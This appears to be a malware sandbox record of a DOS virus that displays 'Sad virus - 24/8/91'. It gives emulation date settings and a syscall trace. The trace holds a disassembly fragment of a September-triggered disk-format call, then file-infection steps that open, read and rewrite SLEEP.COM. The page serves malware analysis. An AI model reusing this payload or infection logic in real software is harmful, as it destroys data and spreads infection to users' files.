Sample viewer

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6531,"SideJobID":0}

.

GIF

Syscalls:

{"DateBased":true,"Day":1,"Month":9,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6531,"SideJobID":0}

.

GIF

Syscalls:

Time	Syscall Op	Syscall Name
2018-12-25T11:59:46.663146799Z	42	PC: 12a46 | Get date 0x12a46: cmp dh, 9 0x12a49: jne 0x12a65 0x12a4b: lea dx, word ptr [0x214] 0x12a4f: mov ah, 9 0x12a51: int 0x21 0x12a53: mov ah, 0x19 0x12a55: int 0x21 0x12a57: mov dl, al 0x12a59: mov ah, 5 0x12a5b: mov cl, 1 0x12a5d: mov ch, 0 0x12a5f: mov dh, 0 0x12a61: mov al, 0x10 0x12a63: int 0x13 0x12a65: mov cx, 0x80 0x12a68: mov si, 0x80 0x12a6b: mov di, 0xff7f 0x12a6e: rep movsb byte ptr es:[di], byte ptr [si] 0x12a70: lea ax, word ptr [0x233] 0x12a74: mov cx, ax
2018-12-25T11:59:46.665813726Z	9	PC: 12a53 | Display string (String= 'Sad virus - 24/8/91 ')
2018-12-25T11:59:46.668530303Z	25	PC: 12a57 | Get default drive
2018-12-25T11:59:46.6713704Z	78	PC: 12aa2 | Find first file
2018-12-25T11:59:46.675590696Z	47	PC: 12aad | Get disk transfer address
2018-12-25T11:59:46.676406999Z	61	PC: 12ac3 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:59:46.680295571Z	87	PC: 12aca | Get or set file date and time
2018-12-25T11:59:46.681798228Z	63	PC: 12ad8 | Read file or device (Read 407 bytes on handle 5)
2018-12-25T11:59:46.685801646Z	60	PC: 12af7 | Create or truncate file
2018-12-25T11:59:49.292733547Z	64	PC: 12b09 | Write file or device (Write 714 bytes on handle 6)
2018-12-25T11:59:49.30323649Z	87	PC: 12b10 | Get or set file date and time
2018-12-25T11:59:49.305401202Z	62	PC: 12b14 | Close file
2018-12-25T11:59:49.323659285Z	79	PC: 12b19 | Find next file
2018-12-25T11:59:49.327517292Z	76	PC: 12a45 | Terminate with return code (Return code = '0')